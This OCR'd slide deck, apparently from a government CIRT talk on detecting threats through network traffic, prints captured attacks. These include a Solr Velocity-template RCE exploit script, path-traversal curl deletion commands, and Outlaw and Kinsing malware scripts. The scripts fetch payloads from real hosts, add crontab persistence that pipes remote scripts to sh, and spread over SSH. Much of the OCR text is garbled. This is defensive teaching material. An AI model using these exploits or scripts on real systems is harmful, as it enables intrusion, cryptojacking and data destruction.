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The incident cases shown in this presentation ware collected by BGD e-GOV CIRT
various source as part of reactive incident detection.

IP address and time stamp was intentionally blur or removed.

In this presentation we will discuss about cyber threat detection by analyzing network traffic.
Specific implementation of the technology is beyond this presentation scope.












& GitHub, Inc. [US] | https:/github.com/AleWong/Apache-Solr-RCE-via-Velocity-template/blob/master/apache _solr_exec.py

————— ——————

auth: @13_leng
version: 1.8

function: Apache Solr RCE via Velocity template

usagef python3 script.py ip [port [command]]
default port=8983

default command=whoami

note:
Stepl: Init Apache Solr Configuration

Step2: Remote Exec in Every Solr Node

import sys
import json
import time

import requests

class initSolr(object):

timestamp_s = str(time.tine()).split('.")
timestamp = timestamp_s[0] + timestamp_s[1][0:-3]

def _init_ (self, ip, port):
self.ip = ip

& GitHub, Inc. [US]

https://github.com/AleWong/Apache-Solr-RCE-via-Velocity-template/blob/master/apache_solr_exec.py

i

def rce(self):

url = self.url + ("/select?q=18&wt-velocity&v.template=custom&v.template. custom="
"%23set($x=K27%27)+"

"%23set(§rt=$x.class. forllame(¥%27 ava. lang. Runtine%27))+"
"%23set($chr=$x.class.forName(%27java.lang.Characterk27))+"
"%23set($str=$x.class.forName(%27java.lang. String%27))+"
"%23set($ex=9rt.getRuntime() .exec(%27" + self.command +
"%27))+3ex.waitFor()+%23set($out=$ex.getInputStream())+"
"%23foreach($i+in+[1..%out.available()])$str.valueOf ($chr.toChars($out.read()))%23end")
try:

res = requests.get(url=url, timeout=5)

if res.status_code == 280:

if res.json()[ responseHeader’ ][ 'status’] == '@":
return 'RCE failed @Apache Solr node %s\n' % self.node
else:

return 'RCE failed @Apache Solr node %s\n' % self.node

except:

return 'RCE Successfully @Apache Solr node %s\n %s\n' % (self.node, res.text.strip().strip('@"))

else:
return 'RCE failed @Apache Solr node %s\n' % self.node
except:

return 'RCE failed @Apache Solr node %s\n' % self.node

def check(ip, port='8983", command="whoami'):
system = initSolr(ip=ip, port=port)
if system.get_nodes()['state’] == 0:
print({'No Nodes Found. Remote Exec Failed!')

else:

CVE-2019-0192:

In Apache Solr versions 5.0.0
to 5.5.5 and 6.0.0 to 6.6.5, the
Config API allows to
configure the JMX server via
an HTTP POST request. By
pointing it fo a malicious RMI
server, an attacker could
take advantage of Solr's
unsafe deserialization to
trigger remote code
execution on the Solr side.






CVE-2017-9841 .

Util/PHP/eval-stdin.php in PHPUnNIt before 4.8.28 and 5.x before 5.6.3 allows remote attackers
to execute arbitrary PHP code via HTTP POST data beginning with a "<ephp " substring, as
demonstrated by an attack on a site with an exposed /vendor folder, i.e., external access
to the /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php URI.









The data transfer happens
because of some malicious
chrome extension



< — O Y & | https;//www.cjoint.com/doc/19_09/llcpOtViXcA_ZHPDiag.txt

Find on page nabmpeienmkmicpjckkgihobgleppbkc 10f2 < > Options ~

UZ - GLE! PreTerence [AMLNE|[USer U&Ta\UETAUlT\LOCal EXTENS1on SETTINGS| [ LgtentbnotlttladancogroDlMealokp| — =>1001Dar.AsKBar
G2 - GCE: Preference [Amine][User Data\Default\Sync Extension Settings] [gmlllbghnfkpflemihljekbapjopfjik] =>.Bookmark Manager

G2 - GCE: Preference [Amine][User Data\Default\Sync Extension Settings] [pkedcjkdefgpdelpbcmbmeomcjbeemfm] =>.Google Inc. {Chrome Media Router}
G2 - GCE: Preference [Amine][User Data\Default\Extensions] [bgbeocleofdgkldamjapfgcglnmhmjgb] Internal Chromium Extension =>Hijacker.Browser

G2 - GCE: Preference [Amine][User Data\Default\Extensions] [bifdhahddjbdbjmiekcnmeiffabcfjgh] Internal Chromium Extension =>Hijacker.Browser

G2 - GCE: Preference [Amine][User Data\Default\Extensions] [fcfenmboojpjinhpgggodefccipikbpd] Bing =>.Microsoft Corporation

G2 - GCE: Preference [Amine][User Data\Default\Extensions] [fheoggkfdfchfphceeifdbepaocoicaho] =>.McAfee {SECURE Safe Browsing}

G2 - GCE: Preference [Amine][User Data\Default\Extensions] [lifbcibllhkdhoafpjfnlhfpfgnpldfl] Skype =>.Skype Technologies

G2 - GCE: Preference [Amine][User Data\Default\Extensions] i imoii i i Iechoolosies => AVG Software

G2 - GCE: Preference [Amine][User Data\Default\Extensions]|[nabmpeienmkmicpjckkgihobgleppbkc] Internal Chromium Extension =>Hijacker.Browser
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Possible cause: Responsive FileManager Vulnerability

[ven] @ www.exploit-db.com/exploits/45987

# We can bypass the directory traversal mitigation by using an array.

$ curl -X POST -d "paths[e]=../../../../../../../../tmp/hacked.txt" -H "Cookie: PHPSESSID=12k93hcujeb7qt2jmnn4erdsi2"
"http://localhost:1111/filemanager/execute.phpraction=delete file"

5. Arbitrary directory deletion via path traversal mitigation bypass through “delete folder™ action in execute.php.

# We can bypass the directory traversal mitigation by using an array.

$ curl -X POST -d "paths[e]=../filemanager"” -H "Cookie: PHPSESSID=12k93hcujeb7gt2jmnn4erde12” "http://localhost:1111/filemanager/execute.php?
action=delete_folder”



Outlaw Hacking Group’s Botnet Activity

Compromise host download Monero miner script
named dotad.tar.gz from Outlaw Hacking Group'’s
CnC Master.

The shell script downloads, extracts, and executes
the miner payload. The extracted TAR file contains
folders with scripts and the miner and backdoor
components.




DST: rm -rf .ssh

DST: rm -rf .mountfs DST: fi
DST: rm -rf .X2* L - .
DeT. 1 1f A3 DST: if [ $s == 6 ]; then
DST: .rm -rf X19-unix* DST: sleep 5[ ( SRANDOM % 500 ) + 55 ]s
DST: rm -1F X2 L-unie" DST: curl -0 -f $7 || wget -w 3 -T 10 -t 2 -q --no-check-certificate $7
DST: rm -rf X22-unix* )
DST: rm -rf .X23-unix DST: fi
DST: rm -rf .X25-unix NST: <lesn Gl
DST: mkdir X25-unix ]
DST: od 05wk DST: tar xvf dota3.tar.gz
DST: RANGE=6 D510 sleep 1Us
DST: s=$RANDOM .
peT. feti %y SRANGE' DST: # rm -rf dota3.tar.az
DST: if [ §s == 0 J; then DST: cd .rsync
: SLLeRANDOM s ean + 45 ] . r ! - oo
|DST: curl -0 -f $1 || wget -w 3 -T 10 -t 2 -g --no-check-certificate $1 DST: cat .i'tIT'I[:I,. -X25-unix/ .rsyn-cumtall | bash 2>1&
o5t | e Bl |
DST: if [ §s==11]; then . -
DST: sleep $[ ( SRANDOM % 500 ) + 5 ]s DST: exit 0
DST: curl -0 -f $2 || wget -w 3 -T 10 -t 2 -q --no-check-certificate $2 DsT:
peT: DST:

DST: fi

DST: if [ $s == 2 ]; then

DST: sleep §[ ( SRANDOM % 500 ) + 25 ]s

DST: curl -0 -f $3 || wget -w 3 -T 10 -t 2 -q --no-check-certificate $3
DST: fi

DST: if [ $s == 3 ]; then

DST: sleep [ ( SRANDOM % 500 ) + 10 ]s

DST: curl -0 -f $4 || wget -w 3 -T 10 -t 2 -q --no-check-certificate $4
DST: fi

DST: if [ $s ==41; then

DST: sleep [ ( SRANDOM % 500 ) + 30 ]s

DST: curl -0 -f $5 || wget -w 3 -T 10 -t 2 -q --no-check-certificate $5
DST: fi

DST: if [ $s ==51; then

DST: sleep $[ ( SRANDOM % 500 ) + 15 ]s

DST: curl -0 -f $6 || wget -w 3 -T 10 -t 2 -q --no-check-certificate $6

The Shellbot disguises itself as a process

named rsync, commonly the binary seen on
many Unix- and Linux-based systems to

automatically run for backup and

synchronization. This allows the malicious

activity to evade detection.



Lateral Movement



Information Taken from trendmicro

There is possibly other file named as “tsm32” and
“tsm64” which is responsible for propagating the
miner and backdoor via SSH brute force, and capable
of sending remote commands to download and
execute the malware.

There is also possibility another file named as
“.satan” is a shell script that installs the backdoor
malware as a service. In Linux, files that start with a
period are hidden.




Kinsing bot Activity
Disabled security measures and cleared log



Installed and ran the Kinsing malware

DST:
DST:
DST:
DST:
DST:
DST:
DST:
DST:
DST:
DST:

DIR="/tmp"

if [ -2 "ftmp/kinsing" ]; then

if [ -w "/tmp/kinsing” ] && [ ! -d "/tmp/kinsing" ]; then
if [ -x "&(command -v md5sum)” ]; then
sum=%(md5sum /tmp/kinsing | awk '{ print $1 }")
echo $sum

case $sum in

a/lad3167f940

2d8c5388910862b16as)

echo "kinsing OK"

DST: ;;

DST:

mMCT.

r
%)

P

DST:
DST:
DST:
DST:
DST:
DST:
DST:
DST:
DST:
DST:
DST:

DST:
neT:

download?2

fi

¥

download2() {

SWGET $DIR/kinsing https://bitbucket.org/sam3cri2/git/raw/master/kinsing

chmod +x $DIR/kinsing
if [ -x "$(command -v md5sum)” ]; then

sum=%(md5sum $DIR/kinsing | awk "{ print $1 }")

echo $sum
case Ssum in DST

LA 1

: download3() {
a71ad3167f9402d8c5388910862b16ae) o1. wGET $DIR/kinsing http://185.154.53.100/kinsing
: chmod +x $DIR/kinsing

DST:
DST:
DST:
DST:
DST:
DST:

DST:

echo "kinsing OK" DST

if [ -x "&(command -v md5sum)” ]; then
sum=4%(md5sum $DIR/kinsing | awk '{ print $1 }")
echo $su

m

case Ssum in
a/1ad3167f9402d8c5388910862b16ae)

echo "kinsing QK"

DST: ;;

DST:

rr
")



Downloaded and ran the shell script every minute via crontab

DST: download
DST: SKL=p $DIR/kinsing
DST:
DST: crontab -| D -e "195.3.146.118" | grep -v gre . c .. . . . .
er ;”E'; o ,'D%r_et‘:en 7 | arep v grep Linux-based, Kinsing is written in Golang. Upon execution, it
DST: echo "cron good” attempts to communicate with its command and control
ST .
g;? ?'EE (C&C) servers in Eastern Europe.
DST: crontab - 2=/dev/null
DST: echo "* * * * % 4] DR http://195.3.146.118/p.sh | sh = /dev/null 2>&1"
DST: ) | crontab -
DST: fi



Defense Evasion, Persistence and Lateral Movement
Uses crontab to download and run the shell script every minute

The spre.sh shell script that the malware downloads is used to laterally spread the malware across the container network.



Defense Evasion, Persistence and Lateral Movement

2. vuiag 71 | 3CU 3y | auniau T

DST: crontab -l | sed Yash/d' | crontab -

DST: crontab -l | sed Ymr.sh/d' | crontab -

[E: crontab - | sed /185.181.10.234/d' | crontab - |
DST: crontab -l | sed Ylocalhost.xyz/d" | crontab -

DST:
DST:
DST:
DST:
DST:
ST

 crontab -l | sed /45.13/.151.106/d" | crontab -
. crontab

-l | sed '/111.90.159.106/d" | crontab -

networkservice

pkill -f sysguard

ps aux| grep "sleep 60"| grep -v grep | awk {print $2}" | xargs -1 % kill -9 %
ps aux| grep ".forun”| grep -v grep | awk {print 52} | xargs -1 % kill -9 %
parep -t jwatchbog | xargs -T % kill -9 %

PST:
DST:
DST:

netstat -antp | grep '108.174.197.76" | grep 'ESTABLISHED\|SYM_SENT' | awk ‘{print $7}" | sed -e "s/\/.*//g" | xargs -I % kill -9 %
netstat -antp | grep '192.236.161.6' | grep 'ESTABLISHEDY|SYN_SENT' | awk “[print $7}' | sed -e "s/\/.*//g" | xargs -1 % kill -9 %
netstat -antp | grep '88.99.242.92" | grep "ESTABLISHED\|SYN_SENT' | awk "{print $7}' | sed -e "s/\/.*//g" | xargs -1 % kill -9 %

ST
DST:
DST:
DST:
DST:
DST:
DSl

pkm -T pastebin

pkill -f 185.193.127.115

crontab -l | grep -e "195.3.146.118" | grep -v grep
if [ $7 -eq 0 ]; then

echo "cron good”

else

(

ST:
ST:
ST:

crontab -1 2=/dev/null
echo "* * * * * ¢] DR http://195.3.146.118/unk.sh | sh > /dev/null 2=&1"
) | crontab -

DST:

fi




The shell script used to spread across the container network passively collects data from /.ssh/config, .bash_history,
/.ssh/known_hosts, and the like, then attempts to connect to each host using every possible user and key combination
through SSH.






Thank you.



